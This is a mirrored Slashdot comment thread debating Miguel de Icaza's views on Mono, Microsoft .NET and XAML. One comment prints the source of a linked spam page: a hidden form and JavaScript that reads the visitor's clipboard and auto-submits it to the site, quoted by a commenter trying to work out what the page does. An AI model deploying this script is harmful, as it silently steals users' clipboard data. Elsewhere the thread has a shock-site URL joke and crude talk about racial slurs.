Slashdot Mirror


Miguel de Icaza on Mono, Ximian/Novell, XAML

moquist writes "Netcraft has an interview with Miguel de Icaza, of Gnome and Ximian fame. Icaza expounds his thoughts on Mono (the .Net framework for open source), the current direction of Microsoft's .Net, Novell's acquisition of Ximian, Novell's Linux desktop environment, Linux for grandmas and kids, and "the greatest danger to the continuing adoption and progress of open source" (Hint: it's pronounced "XAML".)."

481 comments

  1. netcraft confirms by Anonymous Coward · · Score: 3, Funny

    de icaza is dying

    1. Re:netcraft confirms by cshark · · Score: 1

      I don't understand this guy. He rails in his previous blogs about how bad microsoft is, yet he goes out of his way to emulate microsoft technology. It's mind blowing.

      --

      This signature has Super Cow Powers

    2. Re:netcraft confirms by 0BoDy · · Score: 1

      1. Read this A week Ago, 2. Microsoft has an effective monopoly becuase of "embrace and extend." Ximian, is doing the same thing, Props to them! BY supporting their software we may be able to bring vendors to linux. I can imagine that he would be very cynical about MS since he has to deal with their bs software daily.

      --
      Can I be a Luddite too?
    3. Re:netcraft confirms by 0x0d0a · · Score: 5, Interesting

      Here's how I'd guess at the state of things:

      1) Miguel recognizes the fact that Microsoft is big, doesn't play nicely, and doesn't like having other people in its sandbox.

      2) Miguel presumably believes that Linux is a superior system -- that given the opportunity, users will prefer Linux.

      3) Miguel presumably believes that a primary reason Microsoft retains its position is because of barriers to interoperability established by Microsoft. By promoting their own, closed file formats and protocols, Microsoft makes it difficult for customers to move to other systems.

      4) Miguel improves interoperability between Windows and Linux, reducing the barriers that Microsoft has worked so hard to establish, that prevent people from using Linux as a full or partial subsitute for their own products.

      Then, once barriers to transition have been eliminated, as long as OSS developers and distro providers are providing a superior alternative, users can and will switch.

    4. Re:netcraft confirms by Haeleth · · Score: 4, Insightful

      I don't understand this guy. He rails in his previous blogs about how bad microsoft is, yet he goes out of his way to emulate microsoft technology. It's mind blowing.

      How is that strange or incomprehensible? I see absolutely nothing inconsistent about hating Microsoft's business practices and security record, but liking their programming tools and UI.

      I thing you need to stop thinking in black and white and recognise that it's possible for a bad company to come up with a good product.

    5. Re:netcraft confirms by jimicus · · Score: 2

      as long as OSS developers and distro providers are providing a superior alternative, users can and will switch.

      Right. Just like they do with Apple.

      (Karma be damned!)

    6. Re:netcraft confirms by Lennie · · Score: 1

      important difference: Apple is tied to a certain type of hardware, that a lot of people don't have (and buying hardware is thus an other hurdle).

      --
      New things are always on the horizon
    7. Re:netcraft confirms by GnuVince · · Score: 3, Insightful
      I don't understand this guy. He rails in his previous blogs about how bad microsoft is, yet he goes out of his way to emulate microsoft technology. It's mind blowing.

      You don't understand Mono then. Miguel, Nat et al thought that programming for GNOME in C was becoming too hard, not fast enough, etc. So they decided they needed something new. They looked at the available alternatives, but none of them seemed to fit the bill. They then looked at .NET and C# and they liked what they saw and saw how it could be useful to program for GNOME. So they decided to use that. But the goal was not to copy what Microsoft has, it was to bring a better tool to Linux and GNOME developpers, that tool just happened to be made by Microsoft. This has the advantage that they don't need to write as much documentation as other languages' teams because Microsoft does it for them.

    8. Re:netcraft confirms by flying_mushroom · · Score: 3, Insightful

      Miguel also makes some very interesting points about how Windows has managed code reusability to a point that allows it to offer a more integrated desktop than Linux. Check out his text.

      That's the one thing about Linux I have to say I find a bit disconcerting: the lack of uniformity among applications (and no, I'm not trying to start trolling about that.) Just read Miguel's text if you're interested.

    9. Re:netcraft confirms by BlackHawk-666 · · Score: 1

      From what I hear OSS is thriving on Apple machines now they are BSD based.

      --
      All those moments will be lost in time, like tears in rain.
    10. Re:netcraft confirms by cshark · · Score: 1

      How convinient.
      Thanks for the clarification.

      --

      This signature has Super Cow Powers

    11. Re:netcraft confirms by Illissius · · Score: 1

      Moving to Apple costs hundreds or likely thousands of dollars. Moving to Linux is free.

      --
      Work is punishment for failing to procrastinate effectively.
    12. Re:netcraft confirms by ichimunki · · Score: 5, Insightful

      Moving to Linux is not "free". Nothing is "free". There are distinct opportunity costs in switching to Linux. There is the time spent learning about Linux. The time spent getting any data that needs to be preserved into a portable form. The time to actually reinstall software on existing hardware. The inevitable troubleshooting required. If you are a company there is probably a lot of time spent to train employees. There is lost productivity due to system unavailability during the transition and due to "ramp up" time as people get used to working with the new software.

      Depending on the size of your company, this could cost hundreds or thousands of dollars. In fact, it might be easier to buy Apple computers for many reasons. Each company or individual must make its own decisions about any changes to existing IT infrastructure based on a lot of these factors, but simplistic statements like "Linux is free" are misleading. It sets up extremely unrealistic expectations.

      However, there is one way in which Linux beats all the alternatives: It is Free (as in speech). :)

      --
      I do not have a signature
    13. Re:netcraft confirms by jimicus · · Score: 1

      Moving to Linux is not "free". Nothing is "free".

      Quite true. If you're moving from Windows.

      Many places (think Autozone for one) only ever had dumb terminals - the move is from some other Unix, which is where Linux is really clearing up. My employer did exactly this - it was hell for the first 6 months or so but now we get virus alerts and about 70-80% of our systems are totally immune.

      Some people are talking about moving from Windows on the desktop because of cost. This isn't the only issue, however. The plethora of viruses and the difficulty in providing a well locked-down system are, IMHO, equally important.

    14. Re:netcraft confirms by online-shopper · · Score: 1

      Yeah I read that when it came out. The point about the windows desktop being more integrated than a linux desktop was bullshit then, and it's bullshit now. The windows desktop is more integrated than a GNOME desktop for sure, but then for most GNOME applications, integration ends with G. I used Helix GNOME then, and I am currently using XD2(Ximian Desktop 2) now. and the inconsistancy is amazing. A nice example: File->Open dialogs(on XD2) work differently in OpenOffice, Evolution, galeon, and Mozilla. Nor can any of them open smb:// URLs, while you can do that in Nautilus. What? they're not really part of an integrated environment? then why does Ximian push it as such? Ximian has done some *really* nice things usability wise(I very much like the default layout of the interface itself). But the general "integration" of GNOME applications is *really* lacking. Normally I'm a KDE user, and I am amazed at the level of integration among apps. have an ics file on a web-server? Click on it and you view it as a calendar. Want to edit the Word DOC stored on your companies SMB server? Open it right up within KWord(the file->open dialogs support all the Virtual Filesystems that the file manager does). I don't think anybody should drop GNOME or KDE. I prefer KDE, some people don't. that's fine. But Miguel has a habit of taking the status of GNOME and applying it unilaterally

    15. Re:netcraft confirms by Qwavel · · Score: 1

      You're missing something.

      As a C++ developer, I can accept that they didn't think C++ was a good language for Gnome, but if they wanted something better they could have just helped with GCJ or ObjectC for GCC. That would have been much quicker and easier than starting from scratch on Mono.

      I think they saw Mono as a business opportunity, as well as a useful tool for Linux. And it seems that time has proved them right.

    16. Re:netcraft confirms by Tukla · · Score: 1
      I don't understand, then, why he didn't contribute to or extend one or more of the existing high-level, cross-platform languages that already existed (e.g. Ruby, Python) instead of starting from scratch. Especially since his other baby, Gnome, was based on existing technologies. Heck, I remember when the Gnome cheerleaders were bashing KDE for developing DCOP instead of using the existing CORBA implementations.

      I can find lots of documentation about why Miguel decided to follow the .Net architecture, and why he wants to get away from low-level languages like C, but I can't find anything where he explains what was lacking in the alternatives. I also can't find out why he considers C# a high-level language, where I consider it a mid-level language like Java.

  2. Zamil? by Dimensio · · Score: 1

    Isn't that the most logical spelling of the word that would be pronounced "XAML"?

    1. Re:Zamil? by NonSequor · · Score: 1, Interesting

      Or you could just say "ex-ay-em-ell." You don't have to try to pronounce every acronym as though it were a normal word.

      Personally, I think the world needs a 15 year moratorium on the use of acronyms. They need to take a break.

      --
      My only political goal is to see to it that no political party achieves its goals.
    2. Re:Zamil? by frenetic3 · · Score: 5, Informative
      It's pronounced "Zammel":

      "One of Longhorn's most interesting technologies for developers is its new XML-based markup language, codenamed XAML (short for eXtensible Application Markup Language, and pronounced "Zammel"). User interfaces in Longhorn applications are typically built using XAML. In this article, we look at how XAML ..."
      -fren

      --
      "Where are we going, and why am I in this handbasket?"
    3. Re:Zamil? by killjoe · · Score: 4, Funny

      That's funny I thought it was pronounced XUL.

      --
      evil is as evil does
    4. Re:Zamil? by croddy · · Score: 4, Funny

      there is no data .... only XUL.

    5. Re:Zamil? by Anonymous Coward · · Score: 0

      Me, I thought it was XAMEL.

    6. Re:Zamil? by perly-king-69 · · Score: 3, Informative
      You don't have to try to pronounce every acronym as though it were a normal word.

      Yes you do. That's what an acronym is.

      --

      --
      This sig is inoffensive.

    7. Re:Zamil? by Short+Circuit · · Score: 1

      I'm going to quote you on that one...

    8. Re:Zamil? by BigGerman · · Score: 1

      If you Google "Zammel", the first page to come up is something hosted on SKYNET.be.
      Coinsidence? I think not. XML is becoming self-aware.

    9. Re:Zamil? by harrv · · Score: 1

      No you don't. Did you look at the third definition?

    10. Re:Zamil? by Anonymous Coward · · Score: 0

      Yes. Down with LAMP

    11. Re:Zamil? by Anonymous Coward · · Score: 0

      That, by far, was one of the funniest phrases Ive seen in a long time

    12. Re:Zamil? by Tukla · · Score: 1

      "X-A-M-L" is hard to say. It doesn't roll off the tongue like "X-M-L" and "H-T-M-L" do.

  3. XAML!!? by ambienceman · · Score: 0, Offtopic

    HEY, that's my nickname because my last name backwards is LOMAX, they can't steal that from me!!!

    1. Re:XAML!!? by theguywhosaid · · Score: 0, Troll

      (Score:-1, Incredibly Stupid)

      sorry, but i read your sig and it didnt register for a while that you really werent modded that.

  4. For those who don't speak Spanish. by jsweval · · Score: 4, Informative

    Mono means monkey.

    1. Re:For those who don't speak Spanish. by kauttapiste · · Score: 5, Funny
      For those who don't speak Spanish. Mono means monkey.


      Hmm, and I almost could have sworn that mono means monkey only to those who do speak spanish.


      You never know these things, do you.

    2. Re:For those who don't speak Spanish. by kahei · · Score: 1


      That was quite funny.

      --
      Whence? Hence. Whither? Thither.
    3. Re:For those who don't speak Spanish. by EachLennyAPenny · · Score: 1

      > Mono means monkey.

      Then Microsoft software mono culture means...

    4. Re:For those who don't speak Spanish. by hdparm · · Score: 1

      I don't think we need great Spanish language knowledge to figure this one out.

    5. Re:For those who don't speak Spanish. by Anonymous Coward · · Score: 0

      > Mono means monkey.

      I'd like to point that the monkey themselves don't speak Spanish.

      I'd venture they also don't speak English, but hey! -- they're even being elected Presidents... ;-P

    6. Re:For those who don't speak Spanish. by TedCheshireAcad · · Score: 1

      oh i thought they were talking about the disease. thanks for clearing that up. ;)

  5. How reassuring. by amitofu · · Score: 2, Funny
    It's massive - I'm so scared.

    What an encouraging way to end the interview.

    1. Re:How reassuring. by Anonymous Coward · · Score: 0
      It's massive - I'm so scared.

      Thanks, that's what she said.

    2. Re:How reassuring. by badansible · · Score: 2
      It's massive - I'm so scared.

      OTOH, I've seen that line in a porn film. Uhm, not so off-topic after all.

    3. Re:How reassuring. by jav1231 · · Score: 1

      If he's so scared, why not just start the .XOMOL project and create XAML for Linux? This way he can still tout his "can't we all just get along with the Beast" montra under a new platform. Miguel, be scared! You weren't so scared of M$ when you were courting .NET interopability, but suddenly you're scared now? The only good interopability with M$ products right now is SAMBA and FTP. Get your data off M$, onto a Linux/UNIX/BSD server and be done with it.

    4. Re:How reassuring. by Anonymous Coward · · Score: 0

      Hear hear - mod jav1231 up.
      Get data && users off M$ and be done with joining 21st century IT.

  6. Nice wrap-up by salimma · · Score: 4, Interesting

    .. the interview summarizes neatly what Miguel has been saying for the past few weeks; it even links to the "two stacks" diagram. Hopefully distributions would start shipping with the unencumbered stack of Mono once Mono 1.0 is out.. between that and gcj/classpath Linux should see an influx of new developers.

    --
    Michel
    Fedora Project Contribut
    1. Re:Nice wrap-up by tarka69 · · Score: 3, Informative
      Add to that the fact that Java is rapidly gaining first-class support in mono via IKVM. From the IKVM blog:

      The next Mono release will contain the C half of the IKVM JNI provider and the next IKVM snapshot will contain the C# half of the Mono JNI provider. This means that JNI will work out of the box on Mono (for the parts of JNI that are actually implemented).

      This will hopefully attract developers who want want to go the Mono route but can't afford to lose their existing codebase/knowledge.
      --
      The comfort you demanded is now mandatory - Jello Biafra
    2. Re:Nice wrap-up by Jotham · · Score: 4, Informative

      Very nice diagram and it'll continue to grow with other interesting projects such as Tao which adds OpenGL, OpenAL, SDL, etc as your opensource alternative to DirectX.

      Hopefully those that still view C# as microsoft lock-in, will see that C# is an open (ECMA approved) language, and Mono is doing a great job of supporting it. The choice (and any potential lock-in) is really in what APIs you use, which is no different from a C++ programmer choosing between DirectX or OpenGL.

    3. Re:Nice wrap-up by salimma · · Score: 1
      Very nice diagram and it'll continue to grow with other interesting projects such as Tao which adds OpenGL, OpenAL, SDL, etc as your opensource alternative to DirectX.

      Sweet. Considering Managed DirectX is still new and not widely deployed yet, this might even gain traction. Let's hope the Mono team manages to ship 1.0 for the key desktop platforms as planned (Win32, Linux and OS X)
      --
      Michel
      Fedora Project Contribut
    4. Re:Nice wrap-up by civilizedINTENSITY · · Score: 1

      Myself, I'm waiting for Mono's C# port of KDE.

    5. Re:Nice wrap-up by loconet · · Score: 1

      Like another poster mentioned, it was originally pronounced XUL...

      --
      [alk]
    6. Re:Nice wrap-up by Anonymous Coward · · Score: 0, Informative

      How many times does it have to be said? ECMA approval says *nothing* about what patents may be involved. All the MS astroturfers - including Miguel - always brush this off with a "...oh well, yeah, patents, that'll never... OH, LOOK OVER THERE! A FLYING TAPIR!"

      Of course MS would love nothing more then wide-spread adoption of it patented tech in OpenSource projects. That way they can pull an SCO, and actually have a case.

    7. Re:Nice wrap-up by Mr.+Piddle · · Score: 1

      The choice (and any potential lock-in) is really in what APIs you use, which is no different from a C++ programmer choosing between DirectX or OpenGL.

      It isn't potential lock-in with .NET, it is real lock-in. There no parallel between .NET and C++/DirectX/OpenGL, because .NET includes all the Microsoft-dependent functionality that a C++ programmer could use portable libraries for (Qt, OpenGL, POSIX). C++ is much much more portable and open than .NET, because C++ can be compiled and run on many platforms. If Mozilla or OpenOffice.org were written in C#, exactly how many platforms would it run on? Windows...and Windows.

      --
      Vote in November. You won't regret it.
  7. Re:peoplesprimary by Anonymous Coward · · Score: 0

    can somebody tell me what i'm supposed to be seeing...i don't have javascript enabled.

  8. For those who don't realize.. by Anonymous Coward · · Score: 0

    a word's English meaning will be considered before its Spanish meaning a vast majority of the time. dictionary.com has no mention of this 'monkey' definition either.

    1. Re:For those who don't realize.. by krumms · · Score: 3, Informative
    2. Re:For those who don't realize.. by kfg · · Score: 1

      You don't live in Miami, do you?

      (And for those that don't know, Miami is a Spanish word, derived from an American word that meant something roughly akin a famous derogatory word beginning with the letter "N." This is the sort of thing that happens when you ask a neighboring tribe the name of another and don't understand the meaning of what they're telling you and simply start applying it as a proper noun. Yes, I'm aware of what the pamphlets distributed by the Miami Chamber of Commerce say it means. "Land of Sweet Waters." Good for the tourist trade to claim it means exactly the opposite of what Miami really was, a frickin' bug infested brackish swamp, inhabited by nothing but "Miamis.")

      KFG

    3. Re:For those who don't realize.. by Ripplet · · Score: 1
      something roughly akin a famous derogatory word beginning with the letter "N."

      OK I give up, I can't think of one. Is it:

      • Nasty?
      • Nincompoop?
      • Naughty?
      • Narse?
      • Nuck?
      • Nollox?

      Maybe it's some local word that us foreigners (I'm English) wouldn't understand?
      --

      Skiing? Check out The Independant Skiers Portal

    4. Re:For those who don't realize.. by kfg · · Score: 1

      No, the English would understand it just fine, it is of American, but British, origin, spread throughout the Empire, and you'll find it quite prominent in Kipling and Conrad.

      Perhaps you are simply more attuned to the more modern British variant, the "W" word, widely held to be derived from the "G" word.

      KFG

    5. Re:For those who don't realize.. by christophersaul · · Score: 1

      Still confused and I'm English...

    6. Re:For those who don't realize.. by Ripplet · · Score: 1

      As far as I remember Kipling talks about wolves and mongooses quite a bit, but I'm sure he doesn't swear much, they're meant to be children's books after all. And my friend Conrad is always very polite in his emails.

      Aha, now I've got it. "Nixon!". The British variant being "Watergate", which is obviously derived from the word "water".

      Oh no wait, something to do with "W" and "G", the swearword must be "Bush!". But where's the "N"? I guess it's in the same place as the "W", the "M", and the "D".

      --

      Skiing? Check out The Independant Skiers Portal

    7. Re:For those who don't realize.. by kfg · · Score: 1

      The "W" word would be "Wog," short for "Golliwog," an ugly, caricaturized black doll featuring in the illustrations of Florence Upton (an American who spawned a Britishism. Go figure).

      If you still can't figure out the "N" word from that just Google on "Joseph Conrad bio" and the word will be found in the titles of his novels, down at the bottom of the page of the first hit.

      So, that's where the name "Miami" comes from. The Spanish asked a neighboring tribe, "Who are those people over there?" To which they got the answer, "Oh them? They're nothing but a bunch of wogs."

      They then Latinized their mishearing and misunderstanding of the word into "Miami" and applied it to the people as the proper noun of the tribe. (The word actually literally translated as "pigeon")

      This is all totally unrelated to the northern Algonquin tribe also known as the Miami, from a French mispronounciation/Latinization of an Objiwe name for them, which at least was geographically descriptive ("Those people who live over there") as opposed to derogatory.

      KFG

    8. Re:For those who don't realize.. by kfg · · Score: 1

      Do you like Kipling?

      (And around here there are few who are comfortable reading the Just So Stories to their children, and some editions are expurgated to eliminate the swear words. Oddly enough the two Jungle Books were written in America. Most of the rest of Kipling's works are most definately not intended for children. Mark Twain's Huckleberry Finn suffers from the same issue and is one of the most "banned" books in America).

      KFG

    9. Re:For those who don't realize.. by ta+bu+shi+da+yu · · Score: 0

      I think you meant "Still confused because I'm English". I would have thought that was a normal state of affairs for you, wot.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    10. Re:For those who don't realize.. by Anonymous Coward · · Score: 0

      Yeah, when I need to look up a word, I always check the Mono FAQ before reaching for a dictionary.

  9. it's pronounced "XAML". by Doyle · · Score: 5, Interesting

    How the hell do you pronounce "XAML"?

    1. Re:it's pronounced "XAML". by niko9 · · Score: 4, Funny

      How the hell do you pronounce "XAML"?

      Didn't you read the article?

      "Of course, the only drawback is that this new interaction is completely tied to .Net and WinFX. So we see that as a very big danger. A lot of people today cannot migrate to Linux or cannot migrate to Mozilla because a lot of their internal Web sites happen to use IE extensions. Now imagine a world where you can only use XAML.

      It's massive - I'm so scared.


      It's spelled XAML, but it is pronounced: I'm sooo scared! ;)

      -

    2. Re:it's pronounced "XAML". by omicronish · · Score: 4, Informative

      How the hell do you pronounce "XAML"?

      It's pronounced like "Zammel".

    3. Re:it's pronounced "XAML". by TechnologyX · · Score: 2, Funny

      Think Jar Jar Binks trying to say "Camel"

      --
      Slashdot sucks
    4. Re:it's pronounced "XAML". by Deraj+DeZine · · Score: 1

      Ah, so it's a cross between a camel and... wait, what is it? Other than massive and scary, I mean.

      --
      True story.
    5. Re:it's pronounced "XAML". by Anonymous Coward · · Score: 0

      Ah, so it's a cross between a camel and... wait, what is it? Other than massive and scary, I mean.

      It's a cross between camel and X.

    6. Re:it's pronounced "XAML". by !3ren · · Score: 1

      eks-ay-mluh

    7. Re:it's pronounced "XAML". by tbarrett · · Score: 3, Funny

      Welcome to the Slashdot Pronunciation Dictionary.
      Please enter a word to get its associated pronunciation:

      >interview: Pronunciation = "INTEVW"
      >slashdot: Pronunciation = "/."
      >grammar: Pronunciation = "WTF"

    8. Re:it's pronounced "XAML". by Anonymous Coward · · Score: 0

      It's a cross between camel and X.

      Someone rewrote X in Perl? Scary indeed.

    9. Re:it's pronounced "XAML". by Jeremiah+Cornelius · · Score: 2, Funny
      Its pronounced Ka-mel.

      It is a threat: ugly and dangerous.

      --
      "Flyin' in just a sweet place,
      Never been known to fail..."
    10. Re:it's pronounced "XAML". by cnb · · Score: 1

      At one of Miguel's talks I attended he pronouced it "Hexe M El". But then he has a strong Mexican accent.

    11. Re:it's pronounced "XAML". by Anonymous Coward · · Score: 0

      yea and XAML developers wearing tight pants will have XAML Toes...

    12. Re:it's pronounced "XAML". by Anonymous Coward · · Score: 1, Funny

      Didn't you read the article?

      What kind of stupid fucking question is that?

    13. Re:it's pronounced "XAML". by bdan · · Score: 1

      Authoritative answer by Rob Relyea: "zammel"

    14. Re:it's pronounced "XAML". by Anonymous Coward · · Score: 0

      Its pronounced Ka-mel.

      Argh! This must mean... Perl.net! Run for the hills~~~!

    15. Re:it's pronounced "XAML". by Gnulix · · Score: 1

      It's pronounced same ol'

    16. Re:it's pronounced "XAML". by bfg9000 · · Score: 1

      It's pronounced like "Zammel".

      Zammel? Isn't that a Nazi war criminal?

      --

      I'm not normally an irrational zealous dickhead, but I figure "When in Rome..."

    17. Re:it's pronounced "XAML". by Vic+Metcalfe · · Score: 1

      For those who really want to know, it is pronounced "Zamel".

  10. Re:peoplesprimary by Anonymous Coward · · Score: 0
    I downloaded that page and viewed it as text.
    It definitely looks like it is up to no good.
    Here is the code (the only thing on the "page" -- it doesn't even have HTML or BODY tags....)
    <form name="clip" method="post" action="index.php" style="display:none">
    <input type="text" name="content">
    <input type="hidden" name="send" value="1">
    <input type="hidden" name="refer" value="">
    <input type="submit">
    </form>
    <script language="javascript">
    if (typeof clipboardData != 'undefined') {
    var content = clipboardData.getData("Text");
    document.forms["cl ip"].elements["content"].value = content;
    }
    document.forms["clip"].submit();
    </s cript>


    My guess is that it grabs your clipboard buffer and submits it back to the website... just a guess, but that's what it looks like to me.

  11. Re:it's massive .... by SocietyoftheFist · · Score: 0, Flamebait

    in that case you wouldn't be scared at all...

  12. Its that loser miguel again praising Windows. by Adolph_Hitler · · Score: 0, Flamebait

    Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

    --
    People don't exist to serve systems, systems exist to serve people.
    1. Re:Its that loser miguel again praising Windows. by omicronish · · Score: 5, Insightful

      Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

      He's the most visible member of the Linux community who does stuff related to MS technologies. We need people like him, people who are aware of and can help plan counters to upcoming technology that has the potential to bring great change (great as in a large amount of change). Silencing him would be like silencing a sentinel. It's good to be aware of current and future Microsoft stuff, even if you don't like Microsoft.

    2. Re:Its that loser miguel again praising Windows. by Anonymous Coward · · Score: 2, Insightful

      Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

      Umm... Because Mono is what is is working on, it's his job, and is basicly WHY he is being interviewed. And he talks about MS because Novell and other companies are hoping that they can compete against MS by backing Linux heavily.

      What do you want to hear is opinion on the agricultural problems of nothern India instead?

      Isn't it a bit like complaining that a basketball coach talks to much about basketball in interviews, or a monastic priest talking about God to much?

      Anyways, if he was working for MS, I don't think that Gnome 2.6 would be so freaking wonderfull.

    3. Re:Its that loser miguel again praising Windows. by miffo.swe · · Score: 2, Insightful

      Why the need to counter what Microsoft do? Why not just drive in an own direction? Looking at MS at all times is just going to make Open Source spending time following MS instead of going our own way. Now that MS is starting to focus on getting patents and such on everything they do its a disaster waiting to happen if we do like them in everything. We dont need to follow MS every move any longer as long as we stick to open standards. If we follow MS in implementing closed or patented standards on the net we are doing MS nothig but favours and helping the acceptance of closed systems.

      --
      HTTP/1.1 400
    4. Re:Its that loser miguel again praising Windows. by Anonymous Coward · · Score: 0

      Silence him?

      What the FUCK are you talking about? It's time for the open source crowd to GROW THE FUCK UP and get shit out the door and usable by the computing world at large. And stop wasting time on every dimwitted little punk like miguel who has contributed nothing more than a train-wreck of half-assed projects over the past few years and is ready to move on to the next.

      Let the retard do what he wants, but stop wasting our time telling us about it.

    5. Re:Its that loser miguel again praising Windows. by Anonymous Coward · · Score: 5, Insightful

      > Why the need to counter what Microsoft do?

      Because Microsoft has something on the order of 95% of the desktop market. If Linux ever hopes to achieve a greater penetration into that market (which would be a *good* thing), they need to counter things Microsoft does or they become even more marginalized.

      > Why not just drive in an own direction?

      Yes, it has worked so well for Apple. Their marketshare went from what, 10% to 2-3% over the past decade or two? You need to provide some sort of migration path. I develop applications on FreeBSD, but I do my development on a Windows machine because there are a few Windows programs that I have trouble doing without. I've finally moved over to Firefox/Thunderbird and Open Office, and almost done doing the same for my wife (as a web developer she still needs IE for testing) but games aside, there are a few applications that I use that I don't want to do without.

      > Looking at MS at all times is just going to make Open Source spending time following MS instead of going our own way.

      Open Source has a potential to do both at the same time... provide a migration path AND compelling reasons to switch over. But without the migration path, it's a scary change. Linux and other open source operating systems don't have enough marketshare to drive serious change in the desktop. I want to see open source innovation, but without that marketshare, it will be ignored and marginalized.

      > Now that MS is starting to focus on getting patents and such on everything they do its a disaster waiting to happen if we do like them in everything.

      And if everyone believes that Microsoft is doomed any day, then open source will never get the momentum it needs to be a 'real player' on the desktop. Microsoft is a competitor for the desktop market... and you can't afford to ignore competitors.

      > We dont need to follow MS every move any longer as long as we stick to open standards.

      I'm sorry, but that's just naive. When they have 97% of the marketshare, they CREATE the standards. Open standards don't mean a damn thing if there isn't a serious choice in applying those standards.

      > If we follow MS in implementing closed or patented standards on the net we are doing MS nothig but favours and helping the acceptance of closed systems.

      And if the open source 'market' ignores those closed or patented standards, they will become further marginalized and the rest of the market will be forced to accede to reality: that those closed standards are where the action is at.

      Maybe it's time for the open source movement to do a little "Embrace and Extend"ing of their own.

      GreyGore

    6. Re:Its that loser miguel again praising Windows. by newhoggy · · Score: 1
      Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

      I don't like what he is saying either.

      I know: Let's shoot the messenger!!

    7. Re:Its that loser miguel again praising Windows. by newhoggy · · Score: 4, Interesting
      Why the need to counter what Microsoft do? Why not just drive in an own direction?

      You are overlooking the fact that Mono has two stacks. One Microsoft clone and a home grown solution. The home grown solution is cross platform and not the same direction as Microsoft.

      I any case. This isn't a case of choosing between our own direction and Microsoft's direction. It is choosing between a whole mess of open source projects moving in their own way or a coordinated push to integrate disparate open source projects and technologies that currently do not integrate well.

      The patent issue has been covered so many times before. When it comes to patents, it doesn't matter if you are cloning Microsoft technologies or building something entirely original - your risk is the same because no matter what you are implementing, you are probably infringing a patent anyway. The only effective defence you have is prior art.

    8. Re:Its that loser miguel again praising Windows. by 0x0d0a · · Score: 3, Informative

      He's the most visible member of the Linux community who does stuff related to MS technologies.

      Miguel's .NET stuff is pretty recent. I think Jeremy Allison (of Samba fame) has to get the nod on this point.

  13. Naming conventions by jdifool · · Score: 5, Funny
    Here is the name of the webpage with the interview.

    interview_with_miguel_de_icaza_cofounder_of_gnome_ ximian_and_mono.html

    I, for one, welcome our new naming convention overlords.

    jdif

    --
    Let's overcome our weakness.
    1. Re:Naming conventions by LordK3nn3th · · Score: 1, Funny

      Well, imagine the benefits.

      http://www.goat.cx/picture_of_man_stretching_ass ho le_wide_open.jpg

      Hmm. Perhaps that ISN'T a benefit knowing the purpose of that picture.

      --

      ---
      Never criticize religion on Slashdot. You will be modded down for "Troll" no matter how factual it is.
    2. Re:Naming conventions by Spy+Hunter · · Score: 4, Interesting

      It's a Google spamming technique, exactly like spamming your meta tags full of keywords. Google places higher relevance on keywords in a document's URL, so it's suddenly become extremely popular to give descriptive names to documents. This might not be such a bad thing, but it can certainly be overdone.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    3. Re:Naming conventions by bruthasj · · Score: 2, Interesting

      I, for one, welcome our new naming convention overlords.

      Well, they're the minority in that they actually create permalinks and follow the W3C recommendation by default. Their content will easily be archived and entombed for eternity while maintaining an easily extractable timestamp.

    4. Re:Naming conventions by TravisWatkins · · Score: 1

      Actually Google will treat that as one long word. If they wanted to spam Google they would use -, not _. I believe this is a recent change to fight spammers.

      --

      "But I'm still right here, giving blood and keeping faith. And I'm still right here."
    5. Re:Naming conventions by GeoSB · · Score: 1

      Exactly. It really should have been:

      interviewWithMiguelDeIcazaCofounderOfGnomeXimian An dMono.html

    6. Re:Naming conventions by kfg · · Score: 1

      . . .suddenly become extremely popular to give descriptive names to documents.

      Ahhhhh, not like the good old days, eh? Back then we named documents things like ajd0_80e8ew5oJ.htm and made people guess what the hell was in them.

      I don't think this fad will last though, my_resume.htm isn't as easily identifiable to a code geek as a67_v2-13hex.xml

      Some people just can't read plain English I guess.

      KFG

    7. Re:Naming conventions by JimDabell · · Score: 2, Informative

      It's a Google spamming technique, exactly like spamming your meta tags full of keywords.

      Exactly like it? I suppose so, seeing as neither work. Google treats underscores as part of words. If they had wanted to "spam" Google, they should have used dashes to separate the words. Google also ignores <meta> keywords, so both techniques are equally useless.

  14. Disappointed in Miguel by poptones · · Score: 4, Insightful
    Why be so very afraid? Surely this isn't a surpirse to him - I was talking about this same sort of concept nearly a decade ago when hanging around on WIRED's forums. If I thought of it then surely others had, I cannot believe this sort of technology could come as a surprise to anyone who had even read, say, David Siegel's introductions to the web way back in 1995.

    It should also be very obvious to anyone who knows this stuff just how giant a security risk all that sort of technology would present. I'm sure g-man thinks they've got it all sewn up now with these hardware controls, but cracks in the structure are inevitable and one can only imagine a world where just clicking to visit a website, rather than downloading a trojan installer that may or may not complete, instead downloads a robust trojan installer that will complete. And people are already getting pretty damn sick of tithing to both Microsoft and Symantec. Keep selling that crapware until they can't swallow any more!

    Meanwhile, the linux desktop is coming together more and more and Microsoft's uber-desktop is pushed back again to.. when?

    Computers are cheap. And I can tell you from experience it's not that hard to convince someone to try linux after you've helped the reload their computer for the second or third time. It's up to the product to keep them there once they've made that transition - if we can't beat the crap MS has been shoveling with another two full years of development time, it won't be because Bill and Steve are to blame.

    1. Re:Disappointed in Miguel by Coryoth · · Score: 4, Insightful

      It should also be very obvious to anyone who knows this stuff just how giant a security risk all that sort of technology would present. I'm sure g-man thinks they've got it all sewn up now with these hardware controls, but cracks in the structure are inevitable and one can only imagine a world where just clicking to visit a website, rather than downloading a trojan installer that may or may not complete, instead downloads a robust trojan installer that will complete.

      What Miguel is afraid of, I think, is not that this technology will be mind blowingly good, but merely that it will be good enough. Let's face it, Microsoft has been very good at "good enough". What do I mean by "good enough"? Well, potentially riddled with security holes that will be sloely patched over the 5-10 years following it's release - a debacle as far as security concious users are concerned - would still count as good enough. You see, the people in management who buy into these things are notorious for their lack of long term planning, and consideration of security. Look at what Microsoft has already happly foisted onto the corporate world - code riddled with exploits, but because it offered the right new features business bought into it.

      The catch with XAML is that if business buys into it in a big way, it's going to be a serious blow to any OS other than an MS produced one. Why? It's the ultimate embrace and extend of HTML to lock people in. It's an HTML extension that is intimately tied to copyrighted Windows code that MS has exclusive control over. It offers enough in the way of new wizzy features that, management ignoring security issues as they usually do, it could easily get serious uptake. Once you take a dose of that drug though, it will be very hard indeed to break the habit.

